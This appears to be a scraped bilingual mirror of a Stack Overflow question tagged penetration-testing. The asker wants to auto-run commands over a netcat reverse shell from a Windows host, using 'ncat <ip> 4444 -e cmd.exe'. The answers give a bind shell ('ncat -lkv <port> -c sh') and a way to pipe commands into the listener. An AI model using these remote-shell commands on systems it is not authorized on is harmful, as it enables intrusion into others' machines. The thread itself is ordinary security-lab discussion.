bash Ncat 连接并立即在 Windows 上执行命令

声明:本页面是StackOverFlow热门问题的中英对照翻译,遵循CC BY-SA 4.0协议,如果您需要使用它,必须同样遵循CC BY-SA许可,注明原文地址和作者信息,同时你必须将它归于原作者(不是我):StackOverFlow 原文地址: http://stackoverflow.com/questions/42824588/
Warning: these are provided under cc-by-sa 4.0 license. You are free to use/share it, But you must attribute it to the original authors (not me): StackOverFlow

提示:将鼠标放在中文语句上可以显示对应的英文。显示中英文
时间:2020-09-18 15:54:17  来源:igfitidea点击:

Ncat connect and immediately execute command on Windows

linuxbashnetworkingnetcatpenetration-testing

提问by CyberGeeGee

I'm trying to figure out a way to open a netcat connection from a listening Linux machine and immediately execute a command on the targeted Windows machine (ex. dir or ipconfig).

我试图找出一种方法来从正在监听的 Linux 机器上打开 netcat 连接,并立即在目标 Windows 机器上执行命令(例如 dir 或 ipconfig)。

Something similar to this:

类似的东西:

Linux machine:

Linux机器:

nc -lvp 4444; dir

Windows machine:

视窗机:

ncat 192.168.1.25 4444 -e cmd.exe

I need to immediately run a command as soon as a connection is made with the Windows machine.

一旦与 Windows 机器建立连接,我需要立即运行命令。

If this can be accomplished with a bash script, that would be great too. I tried scripting it, but it will not register any commands after dropping into the Windows command shell.

如果这可以用 bash 脚本来完成,那也太好了。我尝试编写它的脚本,但在进入 Windows 命令外壳后它不会注册任何命令。

Any help or suggestions would be greatly appreciated! Thanks.

任何帮助或建议将不胜感激!谢谢。

回答by lorelou

https://jkeohan.wordpress.com/2010/04/30/using-netcat-to-spawn-a-remote-shell/

https://jkeohan.wordpress.com/2010/04/30/using-netcat-to-spawn-a-remote-shell/

this might be of help.

这可能会有所帮助。

It should be:

它应该是:

##On the server. It opens the 
##listening machine's shell.
ncat -lkv <port number> -c "sh"

##On the client. You type your commands on your terminal
##and the listening machine will be your target.
ncat -v <listening server's IP> <port number>

回答by tripleee

The command should be on nc's standard input, not a local command to run after ncfinishes.

命令应该是 onnc的标准输入,而不是在nc完成后运行的本地命令。

printf "dir\n" | nc -lvp 444

See also Pass commands as input to another command (su, ssh, sh, etc)

另请参阅将命令作为输入传递给另一个命令(su、ssh、sh 等)